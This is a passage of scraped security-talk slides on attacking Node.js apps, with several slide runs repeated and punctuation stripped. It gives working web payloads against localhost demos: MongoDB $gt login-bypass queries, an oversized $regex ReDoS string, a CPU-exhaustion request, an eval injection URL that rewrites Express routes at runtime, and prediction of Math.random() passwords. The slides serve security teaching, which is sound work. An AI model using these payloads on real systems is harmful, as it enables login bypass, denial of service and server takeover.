Given 3 consecutive random numbers the values of state[0] and state[1] can be

inferred ndash hence all future values can be known in advance

But

In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons

this issue is treated as low-severity

But

In nodejs all users are running within the same context Each user can tell what

are the values of the global ldquostaterdquo variables

Step 1

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 4: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Event Loop

Event Queue

Event Loop

(Single thread)

File System

Database

Network

Register Callback

Operation Complete

Trigger Callback

httpstackoverflowcomquestions21596172what-function-gets-put-into-eventloop-in-nodejs-and-js

Architecture

Nodejs is Event-driven single-threaded and non-blocking IO

bull No multi-threading context switching

bull CPU doesnrsquot wait for IO to finish so works great for IO intensive

applications (DB queries) and applications with a lot of user interaction

(web apps)

bull Doesnrsquot work well for CPU intensive applications

bull Once your code finishes its current operation the event-loop fetches

the next event with its associated callback function

DoS

Function sum (p)

for (i=1ilt=p++i)

f=f+i

This makes nodejs highly vulnerable to DoS

httplocalhost49090sump=5

httplocalhost49090sump=100000000

httplocalhost49090sump=5

Nodejs as a web server

There is no hosting web server (IIS Tomcat etchellip) Your code is

responsible for handling the incoming requests

No separation between the web-servicing part and the business

logic part

All run within the same thread within the same context

Nodejs as a web server

var http = require(http)

var server = httpcreateServer(function(req res)

switch (reqmethod)

case POST

var item =

reqon(data function(chunk)

item += chunk

)

reqon(end function()

resend(OKn)

)

break

case GET

)

serverlisten(3000)

V8rsquos default PRNG

V8rsquos default PRNG

V8 PRNG is known to be weak

For example check Amit Kleinrsquos

httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr

andom_vulnerabilitypdf

Seed State0[01]

State1[01]

State2[01]

State3[01]

Staten[01]

Random0

Random1

Random2

Randomn

Random3

V8rsquos default PRNG

Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones

First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float

number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive

value

V8rsquos default PRNG

The parameters of the algorithm are modified by Google every few releases but the

algorithm looks similar to the following (the actual value is then divided by 2^32)

httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773

Random number generator using George Marsaglias MWC algorithm

static uint32_t random_base(uint32_t state)

Initialize seed using the system random()

No non-zero seed will ever become zero again

if (state[0] == 0) seed_random(state)

Mix the bits Never replaces state[i] with 0 if it is nonzero

state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)

state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)

return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)

V8rsquos default PRNG

Given 3 consecutive random numbers the values of state[0] and state[1] can be

inferred ndash hence all future values can be known in advance

But

In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons

this issue is treated as low-severity

But

In nodejs all users are running within the same context Each user can tell what

are the values of the global ldquostaterdquo variables

Step 1

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 5: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Architecture

Nodejs is Event-driven single-threaded and non-blocking IO

bull No multi-threading context switching

bull CPU doesnrsquot wait for IO to finish so works great for IO intensive

applications (DB queries) and applications with a lot of user interaction

(web apps)

bull Doesnrsquot work well for CPU intensive applications

bull Once your code finishes its current operation the event-loop fetches

the next event with its associated callback function

DoS

Function sum (p)

for (i=1ilt=p++i)

f=f+i

This makes nodejs highly vulnerable to DoS

httplocalhost49090sump=5

httplocalhost49090sump=100000000

httplocalhost49090sump=5

Nodejs as a web server

There is no hosting web server (IIS Tomcat etchellip) Your code is

responsible for handling the incoming requests

No separation between the web-servicing part and the business

logic part

All run within the same thread within the same context

Nodejs as a web server

var http = require(http)

var server = httpcreateServer(function(req res)

switch (reqmethod)

case POST

var item =

reqon(data function(chunk)

item += chunk

)

reqon(end function()

resend(OKn)

)

break

case GET

)

serverlisten(3000)

V8rsquos default PRNG

V8rsquos default PRNG

V8 PRNG is known to be weak

For example check Amit Kleinrsquos

httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr

andom_vulnerabilitypdf

Seed State0[01]

State1[01]

State2[01]

State3[01]

Staten[01]

Random0

Random1

Random2

Randomn

Random3

V8rsquos default PRNG

Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones

First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float

number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive

value

V8rsquos default PRNG

The parameters of the algorithm are modified by Google every few releases but the

algorithm looks similar to the following (the actual value is then divided by 2^32)

httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773

Random number generator using George Marsaglias MWC algorithm

static uint32_t random_base(uint32_t state)

Initialize seed using the system random()

No non-zero seed will ever become zero again

if (state[0] == 0) seed_random(state)

Mix the bits Never replaces state[i] with 0 if it is nonzero

state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)

state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)

return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)

V8rsquos default PRNG

Given 3 consecutive random numbers the values of state[0] and state[1] can be

inferred ndash hence all future values can be known in advance

But

In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons

this issue is treated as low-severity

But

In nodejs all users are running within the same context Each user can tell what

are the values of the global ldquostaterdquo variables

Step 1

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

